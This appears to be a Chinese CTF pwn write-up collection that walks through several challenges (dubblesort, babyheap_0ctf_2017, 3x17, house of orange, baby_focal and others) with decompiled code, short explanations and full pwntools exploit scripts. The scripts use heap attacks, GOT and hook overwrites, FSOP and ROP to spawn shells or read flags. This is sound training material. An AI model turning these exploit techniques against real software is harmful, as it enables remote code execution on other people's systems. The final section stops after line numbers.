read(0, buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
  v4 = v9;
  for ( i = 0; i < v8; ++i )
  {
    __printf_chk(1, "Enter the %d number : ");
    fflush(stdout);
    __isoc99_scanf("%u", v4);
    v3 = v8;
    v4 += 4;
  }
}
sub_931(v9, v3);
puts("Result :");
if ( v8 )
{
  for ( j = 0; j < v8; ++j )
    __printf_chk(1, "%u ");
}
我们会先输入name，这个过程可以泄露出栈中数据，栈中会有和libcbase相关的数据，然后输入要排序的数的个数，sub_931是一个排序的函数，v4每次都要加4，但没有增加的边界，因此会产生溢出，我们可以绕过canary来覆盖返回地址，实现ret2libc
exp为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

#先利用栈中已有数据泄露libc，然后利用scanf多次读入数据修改返回地址

#io = remote('node4.buuoj.cn',25178)
io = process('./dubblesort')
elf = ELF('./dubblesort')
libc = elf.libc

#attach(io)
#pause()
io.recvuntil(b'name :')
io.send(b'A'*0x1c)

io.recvuntil(b'A'*0x1c)
libcbase = u32(io.recv(4))-0x184be
print('libcbase ===> '+hex(libcbase))

sys = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

io.recvuntil(b'sort :')
io.sendline(b'35')
for i in range(24):
    io.sendline(b'1')
io.sendline(b'+')
for i in range(8):
    io.sendline(str(sys).encode())
for i in range(2):
    io.sendline(str(bin_sh).encode())

io.interactive()
0x03.babyfengshui_33c3_2016( got hijack )
checksec看到开了NX，canary，partial relro
一个目录题，有增加、删除、打印、修改功能。
在add功能里面可以看到对name的写入长度明显过长，产生溢出
在调试分析之后我们发现程序在add时会产生两个堆块，第一个存储description，第二个存储指向description的指针和name，因此我们要试图利用溢出来控制这个指针，控制后我们就可以泄露libc地址并且修改got表。(one_gadget似乎都无法满足条件)
exp如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

#先根据description的大小规则分配释放构造得到指针的控制权，然后修改got表，获得shell

#io = remote('node4.buuoj.cn',26390)
io = process('./babyfengshui_33c3_2016')
libc = ELF('./libc-2.23.so')

def add_(descri_size, name, text_size, text):
    io.recvuntil(b'Action: ')
    io.sendline(b'0')
    io.recvuntil(b'description: ')
    io.sendline(str(descri_size).encode())
    io.recvuntil(b'name: ')
    io.sendline(name)
    io.recvuntil(b'text length: ')
    io.sendline(str(text_size).encode())
    io.recvuntil(b'text: ')
    io.sendline(text)

def delete_(index):
    io.recvuntil(b'Action: ')
    io.sendline(b'1')
    io.recvuntil(b'index: ')
    io.sendline(str(index).encode())

def display_(index):
    io.recvuntil(b'Action: ')
    io.sendline(b'2')
    io.recvuntil(b'index: ')
    io.sendline(str(index).encode())

def update_(index, text_size, text):
    io.recvuntil(b'Action: ')
    io.sendline(b'3')
    io.recvuntil(b'index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'text length: ')
    io.sendline(str(text_size).encode())
    io.recvuntil(b'text: ')
    io.sendline(text)

free_got = 0x804b010

add_(0x20, b'AAAA', 0x20, b'BBBB')
add_(0x20, b'AAAA', 0x20, b'BBBB')
delete_(0)
add_(0x80, b'AAAA', 0xd0, b'/bin/sh\x00'+b'A'*(0x80+0x28+8-8)+p32(free_got))    #index_2可以写入到index_1的name指向description的指针
display_(1)

io.recvuntil(b'description: ')
free = u32(io.recv(4))
print('free ===> '+hex(free))

libcbase = free - libc.symbols['free']
system = libcbase + libc.symbols['system']

update_(1, 4, p32(system))
delete_(2)

io.interactive()
task05
0x01.babyheap_0ctf_2017( heap_overflow + fastbin attack )
checksec看到保护全开
程序在fill时未检查填充大小，会产生溢出
可以先将堆块置于unsorted bin里面，由于从unsorted bin里面取出堆块时，不会检查大小，因此可以通过修改大小来造成堆块重叠，从而实现对libc地址的泄露，并且可以写入非法地址，并获取到对应地址进行任意写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

#先利用unsorted bin泄露libc，然后利用fastbin attack伪造fd实现对malloc_hook的写入

#io = remote('node4.buuoj.cn',28445)
io = process('./babyheap_0ctf_2017')
elf = ELF('./babyheap_0ctf_2017')
libc = ELF('./libc-2.23.so')

def menu_(num):
    io.recvuntil(b'Command: ')
    io.sendline(str(num).encode())

def alloc_(size):
    menu_(1)
    io.recvuntil(b'Size: ')
    io.sendline(str(size).encode())

def fill_(index, size, content):
    menu_(2)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Size: ')
    io.sendline(str(size).encode())
    io.recvuntil(b'Content: ')
    io.send(content)

def free_(index):
    menu_(3)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

def dump_(index):
    menu_(4)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

alloc_(0xa0)  #index0
alloc_(0xa0)  #index1
alloc_(0x10)  #index2, in order to prevent index1 to mix with top chunk.

free_(0)
alloc_(0x10)  #index0
fill_(0, 0x20, b'A'*0x10+p64(0)+p64(0x101))
alloc_(0xa0)  #index3
fill_(3, 0x90, b'A'*0x80+p64(0)+p64(0xb1))

#there are two pointers pointing to index1.(index3 and index1)
#we can free index1 firstly, and then we will get a addr close to libc.

free_(1)
dump_(3)

io.recvuntil(b'A'*0x80)
io.recv(0x18)
main_area = u64(io.recv(8))
print('main_area ===> '+hex(main_area))
libcbase = main_area - 0x3c4b78
print('libcbase ===> '+hex(libcbase))

malloc_hook = libcbase + libc.symbols['__malloc_hook']
sys = libcbase + libc.symbols['system']
print('malloc_hook ===> '+hex(malloc_hook))

for i in range(10):
    alloc_(0x60)     #1 4 5 6 7 8 9 10 11 12

one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
free_(10)
fill_(9, 0x78, b'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))

alloc_(0x60)
alloc_(0x60)
fill_(13,0x23-0x10+8,b'A'*0x13+p64(libcbase+one_gadget[1]))

alloc_(0x10)

io.interactive()
0x02.pwnable.tw - 3×17( fini_array劫持 )
先checksec看到只开了NX，partial relro
该程序为静态编译程序，把所有要用到的库函数都编译进了这个程序，而且必定会有syscall
由于程序结束后会执行libc_csu_fini函数，该函数中会依次调用fini_array[1]和fini_array[0]，可以改写fini_array[0]为libc_csu_fini函数的地址，fini_array[1]为main函数地址。这样程序会不断进行调用。
在main函数中可以看到要使byte_4B9330为1时才能进行地址改写，但实际上不需要理会这个条件，因为在循环的过程中，它会自行溢出为1。
由于libc_csu_fini函数中存在语句lea  rbp, off_4B40F0，会导致rbp值为fini_array地址，通过改写fini_array+0x10数据为gadgets，然后修改fini_array[0]为leave_ret的gadget进行栈迁移，即可getshell。
exp为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

#先布置fini_array+0x10位置的数据，最后进行leave_ret栈迁移即可

#io = remote('node4.buuoj.cn',25099)
io = process('./3x17')
elf = ELF('./3x17')

pop_rdi = 0x401696
pop_rsi = 0x406c30
pop_rdx = 0x446e35
pop_rax = 0x41e4af
syscall = 0x446e2c
start = 0x401b6d
fini_array = 0x4b40f0
csu_fini = 0x402960
bss = 0x4b4100
leave_ret = 0x401c4b

def change(addr, data):
    io.recvuntil(b'addr:')
    io.send(str(addr).encode())
    io.recvuntil(b'data:')
    io.send(data)

#attach(io)
#pause()
change(fini_array, p64(csu_fini)+p64(start))
payload = [pop_rdi, 0, pop_rsi, bss-0x100, pop_rdx, 0x10, pop_rax, 0, syscall, \
           pop_rdi, bss-0x100, pop_rsi, 0,   pop_rdx,  0,   pop_rax, 59, syscall]
for i in range(18):
    change(bss+i*8,p64(payload[i]))

change(fini_array, p64(leave_ret)+p64(start)+p64(pop_rdi))
io.send(b'/bin/sh\x00')

io.interactive()
0x03.ciscn_2019_final_3( tcache poisoning + UAF )
checksec看到保护全开
一个c++堆题目，为了做这个题，我另外下了个ubuntu18。。。
没有show功能，以为要爆破stdout打出libc，看了wp才知道是劫持tcache_struct来实现分配到libc，进而泄露出libc
大致步骤为：由于程序会泄露堆地址，先利用 tcache stash 机制绕过double free的检查分配到tcache_struct位置，修改其值为刚好释放该块时可以进入unsorted bin的值，从而在tcache中的fd为会修改为libc中的某个值，从而通过gift泄露出来。之后再次劫持堆块，分配到__free_hook位置，修改为system函数地址，free掉存有/bin/sh\x00的堆块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

io = remote('node4.buuoj.cn',28698)
file = './ciscn_final_3'
#io = process(file)
elf = ELF(file)
libc = elf.libc

def DEBUG():
    attach(io)
    pause()

def menu(choice):
    io.recvuntil(b'choice > ')
    io.sendline(str(choice).encode())

def add(index, size, content):
    menu(1)
    io.recvuntil(b'index\n')
    io.sendline(str(index).encode())
    io.recvuntil(b'size\n')
    io.sendline(str(size).encode())
    io.recvuntil(b'something\n')
    io.send(content)

def remove(index):
    menu(2)
    io.recvuntil(b'index\n')
    io.sendline(str(index).encode())

def gifts():
    io.recvuntil(b'gift :0x')
    address = int(io.recv(12),16)
    print('gift ===> '+hex(address))
    return address

#tcache stash机制进行double free
for i in range(9):
    add(i, 0x70, b'/bin/sh\x00')
tcache_struct = gifts() - 0x12270
for i in range(9):
    remove(i)
print('tcache struct ===> '+hex(tcache_struct))
remove(7)           #fastbin 0x70: 7 -> 8 -> 7

for i in range(9, 16):
    add(i,0x70,b'/bin/sh\x00')

add(16,0x70,p64(tcache_struct+0x10))
add(17,0x70,b'AAAA')
add(18,0x70,b'AAAA')
add(19,0x70,(b'\x00'*0x23+b'\x07').ljust(0x40,b'\x00')+p64(tcache_struct+0x10)*6)         #该堆块为tcache_struct结构体

remove(19)            #19堆块会进入unsorted bin中
add(20,0x20,b'\x00')
add(21,0x20,b'\x00')  #申请到libc  （因为tcache_struct进入unsorted bin，其tcache_struct+0x10位置被设置为libc中的位置，再次分配便会从tcache中取出该位置块）

libcbase = gifts() - 0x3ebca0
print('libcbase ===> '+hex(libcbase))
free_hook = libcbase + libc.symbols['__free_hook']
print('__free_hook ===> '+hex(free_hook))
sys = libcbase + libc.symbols['system']

add(22,0x50,b'\x00'*0x40+p64(free_hook))   #再次修改tcache_struct
add(23,0x10,p64(sys))           #分配到free_hook
remove(0)

#DEBUG()

io.interactive()
task06
0x01.pwnable.tw - heap paradise ( UAF + fastbin attack )
checksec看到保护全开，
这道题给我做的心态爆炸，像是照着wp抄了一遍，每一步都要注意和后面的联系，还要注意分配堆块的数量，爆破直接手动，写一个固定的地址，一直运行，打远程的时候似乎因为服务器在国外，一直超时，拿个j8的flag（总结：我是彩笔
大概步骤在exp里面写了：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

#先fastbin attack分配到堆区域修改某个堆块的size，使得可以free进入unsorted bin，然后partial write爆破stdout结构体，输出libc，最后fastbin attack打malloc_hook

io = remote('chall.pwnable.tw',10308)
file = './heap_paradise'
#io = process(file)
elf = ELF(file)
libc = ELF('./libc_64.so.6')

def menu(num):
    io.recvuntil(b'You Choice:')
    io.send(str(num).encode())

def alloc(size, data):
    menu(1)
    io.recvuntil(b'Size :')
    io.send(str(size).encode())
    io.recvuntil(b'Data :')
    io.send(data)

def free(index):
    menu(2)
    io.recvuntil(b'Index :')
    io.send(str(index).encode())

def DEBUG():
    attach(io, 'set resolve-heap-via-heuristic on')
    pause()

alloc(0x68, b'\x00'*0x18+p64(0x71))     #0            loc-0
alloc(0x68, b'\x00'*0x18+p64(0x31)+b'\x00'*0x28+p64(0x21))     #1            loc-1
     #2            loc-2
free(0)
free(1)
free(0)             #0 -> 1 -> 0
alloc(0x68, b'\x20')     #2    loc-0
alloc(0x68, b'\x00')     #3    loc-1
alloc(0x68, b'\x20')     #4    loc-0
alloc(0x68, b'\x00')    #5    loc-0.5
free(0)
alloc(0x68, b'\x00'*0x18+p64(0xa1))   #6
free(5)             #进入unsorted bin


free(0)
free(1)
alloc(0x78, (p64(0)+p64(0x71))*4+b'\x00'*0x8+p64(0x71)+b'\xa0')          #7    loc-0.5    partial overwrite修改到stdout
alloc(0x68, b'\x00'*0x28+p64(0x71)+b'\xdd\xc5')          #8      loc-1    partial overwrite将loc-0.5放入fastbin链表中
alloc(0x68, b'\x00'*0x18+p64(0x21))          #9      loc-0
alloc(0x68, b'A'*3+b'B'*0x30+p64(0xfbad2087+0x1800)+p64(0)*3+b'\x00')          #10     修改stdout结构体
               #(__IO_stdout)c620-0x43=c5dd
leak = io.recv(100)
print(leak)
loc = 0
if b'\x7f' not in leak:
    raise Exception()
for i in leak:
    if i == 0x7f:
        break
    loc += 1
libcbase = u64((leak[:loc+1])[loc-5:].ljust(8,b'\x00')) - 0x3c4600
print('libcbase ===> '+hex(libcbase))
one_gadget = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
malloc_hook = libcbase + libc.symbols['__malloc_hook']
target = malloc_hook - 0x23
print('__malloc_hook ===> '+hex(malloc_hook))

free(7)
free(1)

alloc(0x78, b'\x00'*0x48+p64(0x71)+p64(target))   #11        chunk overlapping修改fd
alloc(0x68, b'AAAA')      #12
alloc(0x68, b'A'*0x13 + p64(libcbase+one_gadget[2]))  #13
menu(1)
io.recvuntil(b'Size :')
io.send(b'16')

#DEBUG()

io.interactive()
0x02.[V & N2020公开赛]simpleHeap (off by one + fastbin attack + one gadget)
checksec看到保护全开
IDA打开，看到edit函数存在off by one漏洞
在add函数内看到题目限制了size的大小，但我们可以在分配后修改size，从而释放堆块进入unsorted bin，并且修改后还会造成对堆块重叠，重叠后我们可以直接show泄露出libc的地址，从而再次利用fastbin attack打__malloc_hook，但是在使用one_gadget的过程中我们发现都不能生效，这是因为one_gadget对当前栈环境有一定要求，对此，由于__malloc_hook和__realloc_hook的地址十分接近，在分配fake chunk的时候可以一并控制，因此我们可以先修改__malloc_hook为__libc_realloc函数地址，因为其在调用__realloc_hook之前会进行一系列压栈操作调整栈环境，从而有可能使得满足one_gadget条件。
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

#先利用offbyone通过修改size使堆块进入unsorted bin内，泄露libc，然后fastbin attack用one_gadget打__malloc_hook即可成功getshell
#由于栈环境导致one_gadget不可用，因此需要修改__malloc_hook为realloc函数地址，并将__realloc_hook修改为one_gadget

io = remote('node4.buuoj.cn',28798)
file = './vn_pwn_simpleHeap'
#io = process(file)
elf = ELF(file)
libc = elf.libc

def DEBUG():
    attach(io)
    pause()

def menu(choice):
    io.recvuntil(b'choice: ')
    io.send(str(choice).encode())

def add(size, content):
    menu(1)
    io.recvuntil(b'size?')
    io.send(str(size).encode())
    io.recvuntil(b'content:')
    io.send(content)

def edit(index, content):
    menu(2)
    io.recvuntil(b'idx?')
    io.send(str(index).encode())
    io.recvuntil(b'content:')
    io.send(content)

def show(index):
    menu(3)
    io.recvuntil(b'idx?')
    io.send(str(index).encode())

def delete(index):
    menu(4)
    io.recvuntil(b'idx?')
    io.send(str(index).encode())

one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]

add(0x18,b'AAAA')   #0
add(0x18,b'AAAA')   #1
add(0x18,b'AAAA')   #2
add(0x18,b'AAAA')   #3
add(0x40,b'AAAA')   #4
add(0x18,b'AAAA')   #5        #避免合并
edit(0,b'A'*0x18+b'\x41')     #chunk1 extend
edit(1,b'A'*0x18+b'\x91')     #chunk2 extend
delete(2)
delete(1)
add(0x30,b'A'*0x20)   #1
show(1)             #泄露libc

io.recvuntil(b'A'*0x20)
libcbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x3c4b78
print('libcbase ===> '+hex(libcbase))

malloc_hook = libcbase + libc.symbols['__malloc_hook']
realloc = libcbase + libc.symbols['__libc_realloc']
target = malloc_hook - 35             #fastbin attack目标
print('__malloc_hook ===> '+hex(malloc_hook))

edit(1,b'A'*0x10+p64(0)+p64(0x91)+b'\n')    #恢复free-chunk2
add(0x60,b'AAAA')   #2    从free-chunk2中分割出chunk
delete(2)           #进入fastbin
edit(1,b'A'*0x10+p64(0)+p64(0x71)+p64(target)+b'\n')   #修改fd
add(0x60,b'AAAA')   #2
add(0x60,b'A'*11+p64(libcbase+one_gadget[1])+p64(realloc+0x10))   #6
#DEBUG()
menu(1)
io.recvuntil(b'size?')
io.send(b'16')

io.interactive()
0x03.第三届美团网络安全高校挑战赛（初赛） - baby_focal ( fastbin attack + stdout leak )
checksec看到没开PIE，seccomp-tools看到禁用了execve，因此只能orw
IDA打开看到是一个常规的菜单题，有alloc，edit，delete选项，注意到alloc函数中有
1
sizeinfo[2 * (int)index] = nmemb + 16;
即可溢出0x10大小，但因为程序中没有打印选项，因此选择打stdout泄露
则解题步骤如下：
先填满tcache，然后释放到unsortedbin中，产生libc地址，同时利用溢出partial overwrite该chunk的fd位为stderr结构体内（可进行fastbin attack的位置），此时释放堆块进行fastbin attack，同时利用溢出partial overwrite一个chunk的fd位为进入unsorted bin 的chunk块。（由于partial overwrite时均需要爆破，则成功概率为1/16*1/16=1/256）
申请到stdout位置，修改结构体，使puts出libc地址。利用fastbin attack控制bss段的指针，获得任意地址写的能力。再修改指针为__free_hook，修改__free_hook为puts函数，获得任意地址读的能力。
这时程序基本已经任意由我们操控了。通过_environ变量获取到栈地址，随后直接在栈上写入rop链，直接orw读取flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python3
from pwn import*
#context.log_level = 'debug'

#io = process('./baby_focal')
elf = ELF('./baby_focal')
libc = ELF('./libc-2.31.so')

def menu(choice):
    io.recvuntil(b'exit\n>> ')
    io.sendline(str(choice).encode())

def alloc(index, size):
    menu(1)
    io.recvuntil(b'index >> ')
    io.sendline(str(index).encode())
    io.recvuntil(b'size >> ')
    io.sendline(str(size).encode())

def edit(index, content):
    menu(2)
    io.recvuntil(b'index >> ')
    io.sendline(str(index).encode())
    io.recvuntil(b'content >> ')
    io.send(content)

def delete(index):
    menu(3)
    io.recvuntil(b'index >> ')
    io.sendline(str(index).encode())

def DEBUG(io):
    attach(io,'')
    pause()

def pwn(io):
    io.recvuntil(b'input your name: ')
    io.send(b'./flag.txt\n')
    #fastbin attack打IO_stdout泄露libc
    for i in range(7):
        alloc(0, 0x60)
        delete(0)
    for i in range(7):
        alloc(0, 0xd0)
        delete(0)
    alloc(0, 0x68)
    alloc(1, 0x68)
    alloc(2, 0x68)
    alloc(3, 0x68)
    alloc(4, 0x68)
    alloc(4, 0x68)      #防止与top chunk合并
    edit(2, b'A'*0x68+p64(0xe1)+b'\n')
    delete(3)           #3进入unsorted bin
    
    edit(2, b'A'*0x68+p64(0x71)+b'\x5d\x66\n')
    delete(2)
    delete(1)
    edit(0, b'A'*0x68+p64(0x71)+b'\x40\xdd\n')        #有1/16*1/16即1/256的几率当该chunk链入fastbin时且stderr位置正确
    
    #当爆破正确时,从fastbin中申请出stderr位置chunk
    alloc(2, 0x68)
    alloc(1, 0x68)
    alloc(1, 0x68)
    edit(1, b'\x00'*0x33+p64(0xfbad1800)+b'\x00'*0x19+b'\n')      #修改stdout

    #泄露libc
    io.recvuntil(b'\x00'*8)
    libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1ec980
    log.success('libcbase ===> '+hex(libcbase))
    __malloc_hook = libcbase+libc.symbols['__malloc_hook']
    setcontext = libcbase+libc.symbols['setcontext']+61
    log.success('__malloc_hook ===> '+hex(__malloc_hook))
    log.success('setcontext ===> '+hex(setcontext))
    __free_hook = libcbase+libc.symbols['__free_hook']
    environ = libcbase+libc.symbols['_environ']

    bss = 0x404060
    #再次fastbin attack，打bss段上指针
    delete(2)
    edit(0, b'A'*0x68+p64(0x71)+p64(bss-0x23))
    alloc(0, 0x68)
    alloc(1, 0x68)
    edit(1, b'A'*0x13+p64(__free_hook)+b'\n')       #此时chunk1可进行任意写

    #泄露栈地址，方便rop
    edit(0, p64(0x401134)+b'\n')
    edit(1, b'A'*0x13+p64(environ)+b'\n')
    delete(0)
    io.recvline()
    stack = u64(io.recv(6).ljust(8, b'\x00'))-0x140
    log.success('stack ===> '+hex(stack))
    
    flag = 0x4040b0
    pop_rdi = libcbase+0x23b6a
    pop_rsi = libcbase+0x2601f
    pop_rdx = libcbase+0x142c92
    open_ = libcbase+libc.symbols['open']
    read_ = libcbase+libc.symbols['read']
    puts = elf.plt['puts']
    rop_chain = p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_)\
               +p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x404100)+p64(pop_rdx)+p64(0x50)+p64(read_)\
               +p64(pop_rdi)+p64(0x404100)+p64(puts)
    edit(1, b'A'*0x13+p64(stack)+p64(0x100)+b'\n')
    edit(0, rop_chain+b'\n')
    #DEBUG(io)
    io.interactive()

while 1:
    io = process('./baby_focal')
    try:
        pwn(io)
    except:
        io.close()
task07
0x01.houseoforange_hitcon_2016 - House of Orange ( house of orange )
先checksec看到保护全开，IDA打开看到add最多4次，edit最多3次，再来看edit函数内部
1
2
3
4
5
6
printf("Length of name :");
len = input();
if ( len > 0x1000 )                           // 未检查对应长度，存在堆溢出
  len = 4096;
printf("Name:");
sub_C20(houseinfo[1], len);
此处未检查之前分配的大小，可以造成堆溢出
注意到程序中没有free函数，因此我们可以尝试利用堆溢出修改top chunk的size，再申请大堆块（大于top chunk的size），从而free掉top chunk，之后再申请就可以泄露出libc地址和堆地址
最后再对剩下的top chunk的bk位进行修改，执行unsorted bin attack，修改掉_IO_list_all位置的值，此时_IO_list_all就会指向main_arena区域，而修改后的_IO_list_all指向位置的结构体对应chain域恰好为0x60的smallbin对应的链表头。因此我们需要在之前修改top chunk的同时修改size位为0x60，这样在申请chunk之后它就会被放入0x60大小的smallbin中，从而伪造_IO_FILE结构和vtable表。
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

#libc版本为2.23,利用unsorted bin attack打_IO_list_all,触发FSOP,触发错误abort调用_IO_flush_all_lockp刷新所有流执行IO_OVERFLOW,getshell

io = process('./houseoforange_hitcon_2016')
elf = ELF('./houseoforange_hitcon_2016')
libc = ELF('./libc-2.23.so')

def DEBUG():
    attach(io)
    pause()

def menu(choice):
    io.recvuntil(b'Your choice : ')
    io.send(str(choice).encode())

def build(length, name, price, color):
    menu(1)
    io.recvuntil(b'Length of name :')
    io.send(str(length).encode())
    io.recvuntil(b'Name :')
    io.send(name)
    io.recvuntil(b'Price of Orange:')
    io.send(str(price).encode())
    io.recvuntil(b'Color of Orange:')
    io.send(str(color).encode())

def see():
    menu(2)

def upgrade(length, name, price, color):
    menu(3)
    io.recvuntil(b'Length of name :')
    io.send(str(length).encode())
    io.recvuntil(b'Name:')
    io.send(name)
    io.recvuntil(b'Price of Orange: ')
    io.send(str(price).encode())
    io.recvuntil(b'Color of Orange: ')
    io.send(str(color).encode())

#由于程序中不存在free函数，因此利用堆溢出尝试free掉top chunk，注意更改size时要页对齐
build(0x10, b'A', 1, 1)
upgrade(0x1000, b'A'*0x10+p64(0)+p64(0x21)+p32(1)+p32(0x1f)+p64(0)+p64(0)+p64(0xfa1), 1, 1)
build(0x1000, b'A', 1, 1)
#此时top chunk已经进入了unsorted bin

#泄露libc & heapbase
build(0x400, b'A', 1, 1)
see()
io.recvuntil(b'Name of house : ')
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x3c5141
log.success('libcbase ===> '+hex(libcbase))
_IO_list_all = libcbase + libc.symbols['_IO_list_all']
log.success('_IO_list_all ===> '+hex(_IO_list_all))
sys = libcbase + libc.symbols['system']
upgrade(0x1000, b'A'*0x10, 1, 1)
see()
io.recvuntil(b'A'*0x10)
heapbase = u64(io.recv(6).ljust(8, b'\x00'))-0xc0
log.success('heapbase ===> '+hex(heapbase))

#unsorted bin attack & FSOP
fake_fd = libcbase+0x3c4b78
payload = b'A'*0x400+p64(0)+p64(0x21)+b'A'*0x10
fake_file = b'/bin/sh\x00'+p64(0x60) + p64(0) + p64(_IO_list_all-0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0, b'\x00')
payload += fake_file
payload += p64(0)*3 + p64(heapbase+0x5c8)
payload += p64(0)*2 + p64(sys)

upgrade(0x1000, payload, 1, 1)
menu(1)

#DEBUG()

io.interactive()
0x02.bytectf 2020 - gun( UAF+fastbin double-free+orw )
checksec看到保护全开，seccomp-tools看到只能orw，程序为libc-2.31
IDA打开，分析程序逻辑，程序有三个功能buy，load，shoot。其中buy可以分配堆块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int buy()
{
  __int64 index; // [rsp+0h] [rbp-10h]
  unsigned __int64 size; // [rsp+8h] [rbp-8h]

  index = JudgeEnough();                        // 判断index
  if ( index < 0 )
    return puts("Enough");
  if ( Sign[3 * index] == 1LL )                 // 只检测了sign
    return puts("The bullet is Used!");
  printf("Bullet price: ");
  size = input();
  if ( size <= 0xF || (__int64)((__int64)off_4010 - size) < 0 )
    return puts("Too pool!");
  if ( size > 0x500 )
    return puts("Too big!");
  *((_QWORD *)&GunInfo + 3 * index) = malloc(size);
  Sign[3 * index] = 1LL;                        // 1：已拥有
  printf("Bullet Name: ");
  input_0(*((_QWORD *)&GunInfo + 3 * index), size);
  off_4010 = (__int64 (__fastcall *)())((char *)off_4010 - size);//off_4010初始值为0x1000
  return puts("Confirm");
}
其中off_4010变量在我获得flag时刚好为0，出题人这么sao吗？？？
再看load函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sub_16E1()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Which one do you want to load?");
  v1 = input();
  if ( v1 > 0xD || Sign[3 * v1] == 0LL || Sign[3 * v1] == 2LL )
    return puts("what??");
  if ( BulletInfo )
    *((_QWORD *)&GunInfo_AddOne + 3 * v1) = BulletInfo;
  BulletInfo = (__int64)&GunInfo + 24 * v1;
  *((_QWORD *)&GunInfo + 3 * v1 + 2) = 2LL;     // 2:装填状态
  return puts("Confirm.");
}
以及shoot函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int sub_15F8()
{
  __int64 v1; // rax
  int i; // [rsp+0h] [rbp-10h]
  __int64 num; // [rsp+4h] [rbp-Ch]
  __int64 v4; // [rsp+8h] [rbp-8h]

  if ( !BulletInfo )
    return puts("No bullet!");
  printf("Shoot time: ");
  num = (unsigned int)input();                  // shoot几次
  for ( i = 0; BulletInfo && i < (int)num; ++i )
  {
    printf("Pwn! The %s bullet fired.\n", *(const char **)BulletInfo);
    free(*(void **)BulletInfo);                 // UAF，未清除装填位指针
    v4 = BulletInfo;
    BulletInfo = *(_QWORD *)(BulletInfo + 8);
    *(_QWORD *)(v4 + 16) = 0LL;                 // 0：已使用
  }
  v1 = RestOfBullet();
  return printf("%lld bullets left\n", v1);
}
在shoot函数中可以看到在free掉目标子弹后，未及时清除next位，导致产生UAF
利用流程大致如下：
先利用UAF泄露libc
利用fastbin double-free打__free_hook为一个特殊的gadget，直接orw（在伪造过程中边调试边构造rop链）
特殊gadget为mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]，在这个gadget中，可以给rdx赋值，并且可以call一个函数，可以使能进入setcontext函数之后控制rsp
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
